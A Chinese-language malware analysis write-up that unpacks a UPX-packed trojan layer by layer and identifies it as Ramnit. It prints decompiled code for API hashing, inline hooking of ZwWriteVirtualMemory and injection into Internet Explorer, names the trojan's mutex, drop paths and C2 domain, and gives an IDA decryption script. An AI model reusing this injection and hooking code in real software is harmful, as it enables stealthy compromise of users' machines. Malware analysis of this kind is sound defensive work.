记一次木马分析

记一次木马分析

准备工作

  从txt中把16进制数据拷贝到WinHex,生成55k的exe文件,看pe节名发现upx壳,直接用upx脱壳机,得到82k的exe文件,目前为止能看到的pe节:

.code  00401000 0040A000 R . X . L para 0001 public CODE 32 0000 0000 0002 FFFFFFFF FFFFFFFF
.data  0040A000 00414000 R . . . L para 0002 public DATA 32 0000 0000 0002 FFFFFFFF FFFFFFFF
.rdata 00414000 00416000 R . . . L para 0003 public DATA 32 0000 0000 0002 FFFFFFFF FFFFFFFF

解密第一层

  IDA分析的所有函数都没有意义的空函数,主要混淆形式有:

  • 任意用无效参数调用api(因此导入表也基本是无用的),甚至存在检测errorcode是否对应目标错误值逻辑
  • 任意构造函数调用
  • 入口函数start无返回(这里有玄机)
  • 最后一个有效函数是sub_40724D这里,后面为无效数据(其实为真正代码经过加密了)

  整个代码只有j_VirtualAlloc的参数调用有意义的,返回分配的0xf000字节内存地址(假定0x230000),每个函数调用最后会有jmp,要从jmp跟下去

  上图中0x2CA9是相对于VirtualAlloc分配地址的偏移,其实是第一次解密结果的入口处(假定0x232CA9),下图是对这段内存(假定0x230000~0x23f000)的解密,而使用的源数据恰好是无法正常反汇编的主函数那里(图3 的0x401F46,在执行call sub_4083E2的时候入栈),要跟踪新eip走向可以直接下内存断点

  这里对(0x230000,0x23f000)的内存做解密操作,因此在ida中增加一个Segment(0x230000~0x23f000)来模拟,使用脚本解密:

dstaddr = 0x230000
srcaddr = 0x401F44
for off in range(0, 0xf000):
    b = Byte(srcaddr + off)
    b = b ^ 0xA2
    b = (((b & 0x3) << 6) | ((b >> 2) & 0xff)) & 0xff
    b = (b + 0x100 - 0x6C) & 0xff
PatchByte(dstaddr + off, b)

解密第二层

  由前一步解密出的新节可以分析出以下函数:

GetFunction        +018C
fiximport          +04C2				
decode             +05E8
decode_1           +0743
getNtdllBase       +0783			
sub_2309AF         +09AF
UnmapSection       +0BD6
zeromem            +0C15
fixreloc           +1758
sub_2318FB         +18FB
decode_2           +1B35
Alloc              +1D68
resetself          +2275
memcpy             +22B0
decode_0           +2454
sub_2326F9         +26F9
sub_2326FB         +26FB
new_main           +2CA9
setmemoryexecute_  +2E13
loadimportdll      +2F2B
setmemoryexecute   +3077
GetFunctionFromEat +31D2
nullsub_5          +329D
Free               +32A0
nullsub_4          +32E2

来到入口点:

ULONG __cdecl new_main(int a1, int a2, int a3, int segbase)//第四个参数为之前分配的内存基址0x230000
{
  v30 = -1;
  v29 = 1;
  v17 = getNtdllBase(0xE0605F88);//分析①
  NtQuerySystemInformation = (void (__stdcall *)(int, int, int, signed int, _SYSTEM_PERFORMANCE_INFORMATION *, signed int))GetFunction(v17, 0xFB145B9B);//分析②
  NtQuerySystemInformation(v20, v21, v22, 2, &perfinfo, 0x138);// SYSTEM_PERFORMANCE_INFORMATION未发现实际作用
  result = perfinfo.CopyOnWriteCount;
  if ( (perfinfo.CopyOnWriteCount <= 0x84D0 || perfinfo.CopyOnWriteCount >= 0x8534)
    && (perfinfo.CopyOnWriteCount <= 0x8660 || perfinfo.CopyOnWriteCount >= 0x86C4) )//正常情况下可以直接进
  {
    v35 = segbase;
    modulebase = retaddr;                       //图6的0x40746D,为之前执行的最后一个call
    do
      modulebase = (_IMAGE_DOS_HEADER *)(((unsigned int)&modulebase[-1].e_lfanew + 3) >> 15 << 15);
    while ( modulebase->e_magic != 'ZM' );//找到主模块基址0x400000
    currentbase = modulebase;
    v31 = *(WORD *)((char *)&modulebase->e_cs + modulebase->e_lfanew);
    v44 = 12;
    v43 = 0x75115E4F;
    v42 = 0xFFD1A121;
    v41 = 0x17E;
    size = 0x6200;
    a3a = 0x937D;
    v40 = 0xC3A56632;
    imagesize = *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 80);//获取exe模块大小
    setmemoryexecute_((int)modulebase, imagesize, 64, (int)&v27);//内存页提权:读写执行
    v33 = (char *)currentbase + *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 40);//获取入口点
    membase = Alloc(0, size);//分配一段内存用作解密
    for ( dataseg = (int)currentbase; *(_DWORD *)dataseg != 0xDF62A7E; ++dataseg );//获取data节基址,分析③
    v8 = dataseg + 4;
    decode(v8, a3a, v40);                       // 对data段解密
    if ( v44 & 8 )
      a3a = decode_0((char *)v8, a3a, v42, v41);	//第一次解密
    v10 = decode_2((char *)v8, a3a, v43);			//第二次解密
    if ( v44 & 4 )
      decode_1(v11, (_BYTE *)membase, v10);		//第三次解密
    else
      memcpy((void *)membase, v10, a3a);
    if ( v44 & 0x10 )		//不走这里
    {
      UnmapSection((int)currentbase);
      Free((char)currentbase, imagesize);
      v8 = *(_DWORD *)(membase + 60) + membase + 24;
      imagesize = *(_DWORD *)(*(_DWORD *)(membase + 60) + membase + 0x50);
      UnmapSection(*(_DWORD *)(v8 + 28));
      Free(*(_DWORD *)(v8 + 28), *(_DWORD *)(v8 + 56));
      currentbase = (void *)Alloc(*(_DWORD *)(v8 + 28), *(_DWORD *)(v8 + 56));
      *(_DWORD *)(__readfsdword(48) + 8) = currentbase;// 修改Imagebase
    }
    zeromem(v8, currentbase, imagesize);
    v9 = *(_DWORD *)(membase + 60) + membase;
    memcpy(currentbase, (const void *)membase, *(_DWORD *)(v9 + 0x54));//还原回0x400000
    if ( v31 & 0x2000 )
      *(_WORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 22) = v26;
    v4 = *(_WORD *)(v9 + 6);
    v7 = v9 + 248;
    while ( v4 )
    {
      v15 = *(_DWORD *)(v7 + 16);
      memcpy((char *)currentbase + *(_DWORD *)(v7 + 12), (const void *)(membase + *(_DWORD *)(v7 + 20)), v24);
      v7 += 40;
      v4 = v6 - 1;
    }
    Free(membase, size);
    v32 = (char *)currentbase + *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 40);
    v16 = (char *)currentbase;
    resetself(//修改入口点
      (int)currentbase,//0x400000  Imagebase
      (int)v33,//0x42E000  old entry
      (int)v32,//0x411390	new entry
      *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 80));//sizeofImage
    fiximport((int)v16);//修复输入表
    v14 = *(_DWORD *)&v16[*((_DWORD *)v16 + 15) + 52];
    fixreloc(v25, v12);//修复重定位表
    v13 = *(_WORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 6);
    JUMPOUT(&loc_230C9A);//设置各个新节的属性
  }
  return result;
}
  • 首先遇到的是getNtdllBase,该函数通过算法将模块名事先计算出一个4字节值获取peb结构,通过遍历dll链表得到指定模块基址:
int __cdecl getNtdllBase(int dllsig)// dllsig这里用作匹配模块名,ntdll对应0x FB145B9Bh
{
  int result; // eax@0
  int v2; // eax@2
  WCHAR *v3; // ecx@2
  int v4; // eax@7
  _LDR_DATA_TABLE_ENTRY *v5; // edx@1
  PLIST_ENTRY v6; // ebx@1

  v6 = (PLIST_ENTRY)(*(_DWORD *)(__readfsdword(48) + 12) + 12);// _PEB_LDR_DATA->InLoadOrderModuleList
  v5 = (_LDR_DATA_TABLE_ENTRY *)v6->Flink->Flink;
  while ( (PLIST_ENTRY)v5 != v6 )
  {
    v3 = v5->BaseDllName.Buffer;
    v2 = 0;
    while ( *v3 )
    {
      v2 = __ROL4__(v2, 7);
      LOBYTE(v2) = (*(_BYTE *)v3 | 0x20) ^ v2;
      ++v3;
    }
    v4 = v2 ^ 0x4B50FA82;
    if ( v4 == funcnamesig )
      return v5->DllBase;
    v5 = (_LDR_DATA_TABLE_ENTRY *)v5->InLoadOrderLinks.Flink;
    result = 0;
  }
  return result;
}
  • 然后遇到getFunction,该函数通过算法将函数名事先计算出一个4字节值,用作匹配DLL模块导出表从而获取函数基址
FARPROC __cdecl getFunction(int base, int funcsig)//base为模块基址,目前为ntdll;funcsig用作匹配函数名,例如NtAllocateVirtualMemory对应0x42025366
int __cdecl GetFunction(int ntdllbase, int sig)
{
  int v2; // ebp@0
  return GetFunctionFromEat(v2);//直接将ebp传给该函数,因此在子函数中ebp+8为第一个参数,以此类推
}

int __usercall GetFunctionFromEat@<eax>(int a1@<ebp>)
{
  DWORD v1; // esi@1
  _IMAGE_EXPORT_DIRECTORY *exportbase; // eax@1
  int sig; // ebx@1

  exportbase = (_IMAGE_EXPORT_DIRECTORY *)(*(_DWORD *)(a1 + 8)
                                         + *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(a1 + 8) + 0x3C)
                                                     + *(_DWORD *)(a1 + 8)
                                                     + 0x78));
  v1 = exportbase->AddressOfNames;
  *(_DWORD *)(a1 - 4) = exportbase->NumberOfNames;
  sig = *(_DWORD *)(a1 + 12);
  JUMPOUT(&loc_230925);//这里本质是一个循环做匹配
}
  • 这个0xDF62A7E标志正是data段的起始,od在新入口0x411390转储exe

解密第三层

  以上做的所有工作都是为了获取入口点,dump出来的文件带mediaplayer图标,185k,入口代码:

void __usercall __noreturn start(int a1@<eax>, char *a2@<edx>, int a3@<ecx>, unsigned int a4@<ebp>)
{
//….仍然在修复导入表
	  if ( checkbrowserexist("C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", 0x400u) == 1 )
	  {
		v4 = createmutex("KyUffThOkYwRRtgPP");
		if ( v4 )
		{
		  destroymutex(v4);
		  v4 = HANDLE_FLAG_INHERIT;
		}
		if ( v4 == HANDLE_FLAG_INHERIT )
		{
		  v5 = GetModuleFileNameA(0, selffile, 0x104u);
		  makecstring((BYTE *)selffile, v5);
		  if ( CopyAndRunTrojan(selffile) == 1 )//传播自身到以下路径:
	//%CommonProgramFiles%/Microsoft/DesktopLayer.exe
	//%HOMEDRIVE%%HOMEPATH%/Microsoft/DesktopLayer.exe
	//%APPDATA%/Microsoft/DesktopLayer.exe
	//%SYSTEM%/Microsoft/DesktopLayer.exe
	//%TMP%/Microsoft/DesktopLayer.exe
//%ProgramFiles%/Microsoft/DesktopLayer.exe
			ExitProcess(0);
		  if ( GetNtdllFunction() == 1 )//实现获取函数地址,以便给注入到IE的木马使用
		  {
			hookZwWriteVirtualMemory();//这里没有直接inline hook入口点,而是跳了5条指令
			CreateProcess((LPSTR)"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", 1);
//通过上下逻辑可知CreateProcess触发NtWriteVirtualMemory
			unhookZwWriteVirtualMemory();
		  }
		}
	  }
	  ExitProcess(0);
	}   

	int __stdcall makeinlinehook(LPVOID procaddr, LPVOID hookaddr, int a4)
{
  if ( VirtualProtect(procaddr, 0xAu, 0x40u, &flOldProtect) )
  {
    v3 = skipninst(procaddr, 5u);//实现了小型的汇编指令长度引擎
    hookoff = v3;
    dwSize = v3 + 10;
    shell = VirtualAlloc(0, v3 + 10, 0x1000u, 0x40u);
    if ( shell )
    {
      v12 = shell;
      *(_DWORD *)shell = procaddr;
      *((_BYTE *)shell + 4) = hookoff;
      v5 = (int)shell + 5;
      memcpy(procaddr, (char *)shell + 5, hookoff);
      v6 = hookoff + v5;
      *(_BYTE *)v6 = 0xE9u;
      *(_DWORD *)(v6 + 1) = (_BYTE *)procaddr - (_BYTE *)v12 - 10;
      *(_BYTE *)procaddr = 0xE9u;
      *(_DWORD *)((char *)procaddr + 1) = (_BYTE *)hookaddr - (_BYTE *)procaddr - 5;
      *(_DWORD *)a4 = (char *)v12 + 5;
      VirtualProtect(v12, dwSize, flOldProtect, &v10);
      v9 = 1;
    }
    VirtualProtect(procaddr, 0xAu, flOldProtect, &v10);
  }
  return v9;
}

  我自己做了个实验,CreateProcess也确实触发了NtWriteVirtualMemory,且目标句柄确实是IE的,所以重点在于挂钩函数的分析:

// write access to const memory has been detected, the output may be wrong!
__int64 __stdcall new_ZwWriteVirtualMemory(HANDLE hProcess, PVOID BaseAddress, PVOID Buffer, int NumberOfBytesToWrite, int *NumberOfBytesWritten)
{
  __int64 v5; // rax@1
  char *v6; // eax@3
  LONGLONG v7; // kr00_8@4
  __int64 v9; // [sp-20h] [bp-28h]@1
  SIZE_T NumberOfBytesWrittena; // [sp+0h] [bp-8h]@5
  DWORD oldpro; // [sp+4h] [bp-4h]@5

  LODWORD(v5) = old_ZwWriteVirtualMemory(
                  hProcess,                     // here is IE process id
                  BaseAddress,					//some address in IE
                  Buffer,
                  NumberOfBytesToWrite,
                  NumberOfBytesWritten);
  v9 = v5;
  if ( hProcess != (HANDLE)-1 && !ieentry )
  {
v6 = GetEntryPointForProcess(hProcess);
//利用ZwQueryInformationProcess从PEB里获取IE进程的ImageBase,之后解析内存PE得到入口点
    if ( v6 )
    {
      dword_40DFA3 = 1;
      ieentry = v6;
      v7 = ModifyIe(hProcess, &injectcode, 0x9800);//将重要数据(INJECTSTR)和函数注入到目标进程,见①②
      ie_inject_d = HIDWORD(v7);
      ie_inject_f = v7;
      if ( ie_inject_f )
      {
        VirtualProtectEx(hProcess, ieentry, 0xCu, 0x40u, &oldpro);
        WriteProcessMemory(hProcess, ieentry, &jmpshell, 0xCu, &NumberOfBytesWrittena);//改写IE入口点逻辑
                                                //jmpshell硬编码以下指令: sizeof=0x0C
                                                // +00 0xBF            mov edi, ie_inject_f
                                                // +01 ie_inject_f
                                                // +05 0x68            push ie_inject_d
                                                // +06 ie_inejct_d
                                                // +0A 0xFF            call edi
                                                // +0B 0xD7
        VirtualProtectEx(hProcess, ieentry, 0xCu, oldpro, &oldpro);// 
      }
    }
  }
  return v9;
}
  • 将自身的木马种植到目标IE进程,同时修复PE结构
LONGLONG __stdcall ModifyIe(HANDLE hProcess, BYTE *injectdata, int injectlen)
{
  v19 = 0x10000000;
  optheader = (IMAGE_OPTIONAL_HEADER32 *)validate_getoptionheader((int)injectdata, injectlen);//验证PE结构
  if ( !optheader )
    goto LABEL_18;
  imagebase = optheader->ImageBase;
  imagesize = optheader->SizeOfImage;
  do                 // 尝试在自身进程和IE进程中获取0x3000大小的同地址内存
  {
    v19 += 0x10000;
    lpAddress = (LPVOID)(v19 + imagebase);
    injectbase = VirtualAlloc((LPVOID)(v19 + imagebase), imagesize, 0x3000u, 0x40u);
    if ( injectbase )
    {
      VirtualFree(injectbase, 0, 0x8000u);
      injectbase = VirtualAllocEx(hProcess, lpAddress, imagesize, 0x3000u, 0x40u);
    }
  }
  while ( v19 < 0x30000000 && !injectbase );
  if ( injectbase
&& ConstructPe(hProcess, injectbase, injectdata, injectlen, &inject_d, 0)
//从文件内嵌的PE重新构造重定位表、导入表以及各个节,内嵌PE见③
    && WriteProcessMemory(hProcess, injectbase, (LPCVOID)inject_d.ImageBase, inject_d.ImageSize, 0)// 0xD000
    && (len1 = getshellcodelen((unsigned __int8 *)FixImportTable),
        (v5 = (int (__stdcall *)(_DWORD, int, int, INJECTSTR *))AllocMemoryforShellCode(hProcess, FixImportTable, len1)) != 0)
    && (inject_d.FixImportTable = v5,
        len2 = getshellcodelen((unsigned __int8 *)setsegproperty),
        (v7 = (int (__stdcall *)(DWORD))AllocMemoryforShellCode(hProcess, setsegproperty, len2)) != 0)
    && (inject_d.SetSegProperty = v7,
        inject_d.LdrLoadDll = (FARPROC)LdrLoadDll,
        inject_d.LdrGetDllHandle = (FARPROC)LdrGetDllHandle,
        inject_d.LdrGetProcedureAddress = (FARPROC)LdrGetProcedureAddress,
        inject_d.RtlInitString = (FARPROC)RtlInitString,
        inject_d.RtlAnsiStringToUnicodeString = (FARPROC)RtlAnsiStringToUnicodeString,
        inject_d.RtlFreeUnicodeString = (FARPROC)RtlFreeUnicodeString,
        inject_d.ZwProtectVirtualMemory = (FARPROC)ZwProtectVirtualMemory,
        inject_d.ZwDelayExecution = (FARPROC)ZwDelayExecution,
        a = GetModuleFileNameA(0, inject_d.ImagePath, 0x104u),
        makecstring((BYTE *)inject_d.ImagePath, a),
        len3 = getshellcodelen((unsigned __int8 *)modifyieentry),
        (v9 = AllocMemoryforShellCode(hProcess, modifyieentry, len3)) != 0)
    && (v13 = (unsigned int)v9, (v10 = AllocMemoryforShellCode(hProcess, &inject_d, 0x138u)) != 0) )
  {
    result = __PAIR__((unsigned int)v10, v13);
  }
  else
  {
LABEL_18:
    result = 0i64;
  }
  return result;
}
  • 写入的数据ie_inject_d结构
00000000 INJECTSTR       struc ; (sizeof=0x138, mappedto_37) ; XREF: ModifyIe/r
00000000 ImageBase       dd ?			//注入木马的基址
00000004 ImageEntry      dd ?			//注入木马的入口
00000008 ImageSize       dd ?
0000000C FixImportTable  dd ?         //用于修复导入表
00000010 SetSegProperty  dd ?        //用于修复PE节属性
00000014 LdrLoadDll      dd ?                    ; offset
00000018 LdrGetDllHandle dd ?                    ; offset
0000001C LdrGetProcedureAddress dd ?             ; offset
00000020 RtlInitString   dd ?                    ; offset
00000024 RtlAnsiStringToUnicodeString dd ?       ; offset
00000028 RtlFreeUnicodeString dd ?               ; offset
0000002C ZwProtectVirtualMemory dd ?             ; offset
00000030 ZwDelayExecution dd ?                   ; offset
00000034 ImagePath       db 260 dup(?)		//母程序路径
00000138 INJECTSTR       ends

ie_inject_f函数仍然是修复导入表:

void __cdecl modifyieentry(INJECTSTR *injectdata)
{
  v1 = __readeflags();
  v6 = v1;
  if ( injectdata && injectdata->FixImportTable(0, injectdata->ImageBase, injectdata->ImageSize, injectdata) )
  {
    secnum = *(_WORD *)(*(_DWORD *)(injectdata->ImageBase + 60) + injectdata->ImageBase + 6);
    secheaders = (IMAGE_SECTION_HEADER *)(*(_WORD *)(*(_DWORD *)(injectdata->ImageBase + 60) + injectdata->ImageBase + 20)
                                        + *(_DWORD *)(injectdata->ImageBase + 60)
                                        + injectdata->ImageBase
                                        + 24);
    if ( *(_WORD *)(*(_DWORD *)(injectdata->ImageBase + 60) + injectdata->ImageBase + 6) )
    {
      do
      {
        v4 = secnum;
        v5 = injectdata->SetSegProperty(secheaders->Characteristics);
        v10 = secheaders->VirtualAddress + injectdata->ImageBase;
        v9 = secheaders->Misc.PhysicalAddress;
        ((void (__stdcall *)(signed int, DWORD *, DWORD *, int, char *))injectdata->ZwProtectVirtualMemory)(
          -1,
          &v10,
          &v9,
          v5,
          &v11);
        ++secheaders;
        secnum = v4 - 1;
      }
      while ( v4 != 1 );
    }
    ((void (__stdcall *)(int, signed int, char *))injectdata->ImageEntry)(//调用注入的木马入口
      injectdata->ImageBase,
      1,
      injectdata->ImagePath);
    v7 = 0;
    v8 = 0x80000000;
    ((void (__stdcall *)(_DWORD, int *))injectdata->ZwDelayExecution)(0, &v7);
  }
  __writeeflags(v6);
}
  • 内嵌PE

  上面的一切努力最后发现重点在于内嵌PE逻辑中,直接用winhex将0x404031处0xD000大小的内嵌PE取出,结果52k

内嵌PE

  这次IDA已经可以分析出来了,说明是最终形态,搜索一些敏感的字符串可知是Ramnit病毒http://www.lavasoft.com/mylavasoft/malware-descriptions/blog/viruswin32ramnita,发现网上已有分析,因此没有继续分析,不过上述加密手段还有很多学习之处

  • 感染全盘exe dll,改写入口点,增加新PE节.rmnet用于存储恶意木马
  • 感染html htm,增加如下脚本,在用户%TEMP%文件夹中植入了一个名为“svchost.exe”的二进制文件并执行关联的ActiveX控件,受感染的用户主机会试图连接到与Ramnit相关的一个木马控制服务器——fget-career.com。如下两图所示